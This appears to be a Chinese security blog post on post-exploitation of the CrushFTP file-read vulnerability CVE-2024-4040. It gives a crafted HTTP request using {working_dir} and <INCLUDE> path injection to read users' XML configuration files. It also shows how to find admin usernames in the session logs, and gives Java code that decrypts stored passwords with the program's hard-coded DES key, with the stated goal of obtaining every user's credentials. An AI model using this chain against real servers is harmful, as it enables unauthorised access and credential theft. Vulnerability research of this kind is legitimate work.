写在前面这个漏洞的利用最终还是被曝光了,这里也不做重复的分析,具体可以点击访问CVE-2024-4040 了解漏洞的详情,在这里作者在分析利用的时候仍然使用的sessions.obj
文件去读取历史cookie再做提权的尝试,但在最早的一篇文章当中我也曾提到过,只有在程序退出时才会生成这样一个文件,它充当了服务器的一个缓存功能(CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177) ),因此它的利用相对来说更为玄学,一切看命,在实战中我们往往更需要一些更稳定直接的方式来获取admin账户的密码。
后利用 获取用户配置文件路径在之前我提到过,这个系统对于用户配置的保存是在XML文件中做了保存,如下所示
它的相对路径在/users/MainUsers
下
另外在漏洞作者的分析当中,提到可以使用{working_dir}
来获取项目运行的绝对路径
1 2 3 4 5 6 GET /WebInterface/function/?command=zip&c2f=rsC2&path={working_dir}&names=/bbb HTTP/1.1 Host : 127.0.0.1:8080Cookie : CrushAuth=1714046327401_GY8KgRYG9W7GRoulsigqE3V2eKrsC2; Content-Type : application/x-www-form-urlencoded
因此结合以上两点我们很容易能得到具体的用户的配置文件
path=<INCLUDE>{working_dir}users/MainUsers/username/user.XML</INCLUDE>
当然其实使用相对路径也可以path=<INCLUDE>./users/MainUsers/username/user.XML</INCLUDE>
因此我们只需要知道admin
用户的用户名即可得到相对应的配置文件
同时通过配置文件的内容,我们可以看到密码也是被加密存储在了这个文件当中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?xml version="1.0" encoding="UTF-8"?> <userfile type ="properties" > <real_path_to_user > ./users/MainUsers/y4tacker/</real_path_to_user > <updated_time > 1713866209446</updated_time > <created_time > 1713794508983</created_time > <root_dir > /</root_dir > <user_name > y4tacker</user_name > <max_logins > 0</max_logins > <version > 1.0</version > <last_logins > 04/25/2024 07:33:47 PM,04/25/2024 11:03:37 AM,04/25/2024 10:11:22 AM,04/25/2024 09:55:49 AM,04/24/2024 12:34:08 AM,04/24/2024 12:26:34 AM,04/23/2024 11:39:33 PM,04/23/2024 11:15:06 PM,04/23/2024 05:57:00 PM,04/23/2024 10:40:08 AM</last_logins > <updated_by_username > crushadmin</updated_by_username > <password > 71W4Y3ZzpxXfeaU4fehf/w==</password > <created_by_username > crushadmin</created_by_username > <userVersion > 6</userVersion > <updated_by_email > </updated_by_email > <configure_reverse_share_events > true</configure_reverse_share_events > <username > y4tacker</username > </userfile >
这时候又会面临另一个问题,尽管我们知道存在一个名为crushadmin
的管理员,但是如果这个账号被删了改成了其他的名字我们又该如何下手呢?
柳暗花明又一村解决方法其实也很简单,这个系统会将用户的信息保存到logs/session_logs
文件夹下
查看目录我们不难发现,命名方式也非常有规律24(年)04(月)25(日)20(时)
再往下一级目录看,命名方式固定session_HTTP_num.log
再来看看具体内容,不难发现在日志当中,详细记录了我们的用户名以及一些操作信息,这时候用户名的问题也就迎刃而解
破解加密的密码我们以y4tacker
用户为例,这里加密的密码为71W4Y3ZzpxXfeaU4fehf/w==
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?xml version="1.0" encoding="UTF-8"?> <userfile type ="properties" > <real_path_to_user > ./users/MainUsers/y4tacker/</real_path_to_user > <updated_time > 1713866209446</updated_time > <created_time > 1713794508983</created_time > <root_dir > /</root_dir > <user_name > y4tacker</user_name > <max_logins > 0</max_logins > <version > 1.0</version > <last_logins > 04/25/2024 07:33:47 PM,04/25/2024 11:03:37 AM,04/25/2024 10:11:22 AM,04/25/2024 09:55:49 AM,04/24/2024 12:34:08 AM,04/24/2024 12:26:34 AM,04/23/2024 11:39:33 PM,04/23/2024 11:15:06 PM,04/23/2024 05:57:00 PM,04/23/2024 10:40:08 AM</last_logins > <updated_by_username > crushadmin</updated_by_username > <password > 71W4Y3ZzpxXfeaU4fehf/w==</password > <created_by_username > crushadmin</created_by_username > <userVersion > 6</userVersion > <updated_by_email > </updated_by_email > <configure_reverse_share_events > true</configure_reverse_share_events > <username > y4tacker</username > </userfile >
接下来我们只需要去看看系统是如何处理解密即可
通过查看登录流程对这坨屎山系统的不断查找,最终不难发现对密码的解密处理在crushftp.handlers.Common#decode_pass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 # 以下仅仅列出关键代码 public String decode_pass (String raw) { DesEncrypter crypt = new DesEncrypter(new String(com.crushftp.client.Common.encryption_password), base64Decode); String s = crypt.decrypt(raw); if (s == null ) { crypt = new DesEncrypter(new String(com.crushftp.client.Common.encryption_password), false ); s = crypt.decrypt(raw); } if (s == null ) { s = decode_pass3(raw); } return s; } ........ DesEncrypter.class ........ public DesEncrypter (String key, boolean base64) { try { ServerStatus var10005 = ServerStatus.thisObj; key = Common.getHash(key, base64, "SHA" , "" , "" , ServerStatus.BG("sha3_keccak" )); this .doInit(key); } catch (Exception var4) { } } public void doInit (String key) throws Exception { while ((float )key.length() / 8.0F != (float )(key.length() / 8 )) { key = key + "Z" ; } DESKeySpec desKeySpec = new DESKeySpec(key.getBytes()); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES" ); SecretKey secretKey = keyFactory.generateSecret(desKeySpec); this .ecipher = Cipher.getInstance("DES" ); this .dcipher = Cipher.getInstance("DES" ); this .ecipher.init(1 , secretKey); this .dcipher.init(2 , secretKey); }
我们可以看到这个com.crushftp.client.Common.encryption_password
也是硬编码存储在程序当中,因此我们能很容易计算出这个初始化的key
简单编写一个解密脚本
1 2 3 4 5 6 7 8 9 String key = getHash("crushftp" , true , "SHA" , "" , "" , false ); Cipher dcipher = Cipher.getInstance("DES" ); DESKeySpec desKeySpec = new DESKeySpec(key.getBytes()); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES" ); SecretKey secretKey = keyFactory.generateSecret(desKeySpec); dcipher.init(2 ,secretKey); byte [] dec = Base64.decode("71W4Y3ZzpxXfeaU4fehf/w==" );byte [] utf8 = dcipher.doFinal(dec);System.out.println(new String(utf8));
运行后成功得到密码为y4tacker
因此我们便能通过遍历日志提取所有的用户名,再读取解密密码即可获得所有用户的用户名密码登录